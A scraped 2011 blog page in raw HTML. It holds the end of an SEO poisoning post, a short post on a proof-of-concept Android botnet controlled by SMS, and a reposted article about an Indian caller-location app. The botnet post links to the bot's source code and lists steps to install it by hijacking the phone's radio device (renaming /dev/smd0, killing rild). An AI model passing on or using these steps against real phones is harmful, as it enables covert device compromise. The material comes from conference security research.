<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  user clicks on one of the rogue links</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  the SEO kit immediately redirects the user to the malicious web site</li>
</span></span></ol>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">For more details, <a href="http://nakedsecurity.sophos.com/2010/03/31/technical-paper-seo-poisoning-attacks/" style="color: #3778cd; text-decoration: none;"><b>take a look at the technical paper</b></a> published last year.</span></span></div>
<br />
<br /></div>

Blackhat SEO Blackhat SEO techniques Quick guide

Blackhat search engine optimisation (SEO) techniques describe the process by which individuals trick the search engines into ranking on...

Android botnet over SMS

10/11/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTb45Yd5zpl8SayFNQDLqiHAwFjHTaPdwXW25RFbFtIfi39z6zSXB32VwgdqYcCBnQgH3cVhngwvIC5keNDTjS1apVT6WdNm7Hkvp2fuQ8KVD2u3w5rDsx1xlp9UcUH34d10QK0jguw9v/s1600/androidbotnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTb45Yd5zpl8SayFNQDLqiHAwFjHTaPdwXW25RFbFtIfi39z6zSXB32VwgdqYcCBnQgH3cVhngwvIC5keNDTjS1apVT6WdNm7Hkvp2fuQ8KVD2u3w5rDsx1xlp9UcUH34d10QK0jguw9v/s640/androidbotnet.png" width="640" /></a></span></span></div>
<div dir="ltr" style="text-align: left;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">After the numerous botnets over "everything" (botnet over IRC, botnet over skype, botnet over twitter, over facebook... ) , directly from one of the most fascinating hacker (Georgia Weidman) an android botnet over SMS.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<br />
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><b>This is a great example of Botnet spread and controlled by invisible SMS.</b></span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Download the code from <a href="http://www.grmn00bs.com/botPoCrelease-android.c" style="color: #3778cd; text-decoration: none;">here</a>.</span></span></div>
<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><br /></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Compile with arm-gcc with the -static flag set</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Copy to anywhere on the underlying OS that is writable (/data/ is good).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Rename /dev/smd0/ to /dev/smd0real/</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Start the bot application</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Kill the radio application (ps | grep rild)</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">The radio will automatically respawn and now the bot proxy will be working</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Take a look of what it can do.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><a href="http://vimeo.com/19372118" style="color: #3778cd; text-decoration: none;">Shmoocon 2011 Smartphone Botnets over SMS Demo</a> from <a href="http://vimeo.com/user4997632" style="color: #3778cd; text-decoration: none;">Georgia Weidman</a> on<a href="http://vimeo.com/" style="color: #3778cd; text-decoration: none;">Vimeo</a>.</span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"></span></span><br />
<br /></div>

Android Malwares Android botnet over SMS

After the numerous botnets over "everything" (botnet over IRC, botnet over skype, botnet over twitter, over facebook... ) ...

Know the Caller’s Location with this Android App

10/11/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLQYvFmUTiyfK4e4AkkU-fzAE8O5XCGmfKs14x0eVe5YIbZ_2t2RVRNg6PY1u99Bp9U7loDceZHg-PNLarsjhZ7E4Wg8dAUJbZDOx2YETnUcRcSDzZUhtfiblD1_iuPhMaf33Z4pDwtA/s1600/caller-location.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLQYvFmUTiyfK4e4AkkU-fzAE8O5XCGmfKs14x0eVe5YIbZ_2t2RVRNg6PY1u99Bp9U7loDceZHg-PNLarsjhZ7E4Wg8dAUJbZDOx2YETnUcRcSDzZUhtfiblD1_iuPhMaf33Z4pDwtA/s1600/caller-location.jpg" width="320" /></a></div>
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<h1 style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #282828; font-family: Georgia, serif; font-size: 26px; font-style: inherit; letter-spacing: -1px; line-height: 31px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">  Know the Caller's Location with this Android App</span></h1>
<div class="post" id="article" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;"><i style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">This is valid for Indian phone numbers only.</i></span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">When you get a call from someone, your phone screen displays the caller's phone number but wouldn't it be useful if the screen could also show some additional information about the caller – like where they are calling from?</span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">If the person has made a call from a landline number, you can easily determine the caller's city based on the <a href="http://www.bsnl.co.in/stdsearch.php" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">STD Code</a> of the incoming call. For calls originating from mobile phones, the caller's state (or telecom circle) and their mobile operator can be quickly identified from the first four digits of the mobile number as per <a href="http://en.wikipedia.org/wiki/Mobile_telephone_numbering_in_India#Mobile_Numbers.2C_Operator_and_Circle" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank" title="Mobile Telephone Numbering System">this chart</a>.</span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;"><a href="http://img.labnol.org/di/mobile_number.jpg" rel="lightbox" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;"><img align="right" alt="mobile number" border="0" height="202" src="http://img.labnol.org/di/mobile_number_thumb.jpg" style="border: 0px; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 10px 10px; outline: 0px; padding: 0px;" width="122" /></a>To give you an example, if the incoming phone number is 9210xxxxxx, it's a TATA Indicom number registered in the Delhi circle which includes Faridabad, Ghaziabad, Gurgaon and Noida.</span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">You can perform these database lookups manually or, if you have an Android phone, get <a href="https://market.android.com/details?id=com.shaplus.mobileinfo" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">Shaplus</a>. This is a free app that will display, while the phone is ringing, the caller's location based on their number (see screenshot on the right). It works for both incoming and outgoing calls.</span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">Shaplus also adds an icon on your phone's home screen to help you perform lookups offline. You just have to key in the first five digits of the number to know the city or the telecom circle and the cellular operator for that number.</span></div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin-bottom: 20px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="background-color: white; color: #333333; font-family: "verdana" , "geneva" , sans-serif; font-size: 12px; line-height: 18px;">This will however not work for mobile numbers that have recently undergone operator change under the Mobile Number Portability (MNP) scheme.</span></div>
</div>
<br />
<div>
(source:<a href="http://www.labnol.org/">http://www.labnol.org</a>)</div>
<br /><br /></div>

Android GPS Know the Caller’s Location with this Android App

Know the Caller's Location with this Android App This is valid for Indian phone numbers only. When you get a call from someo...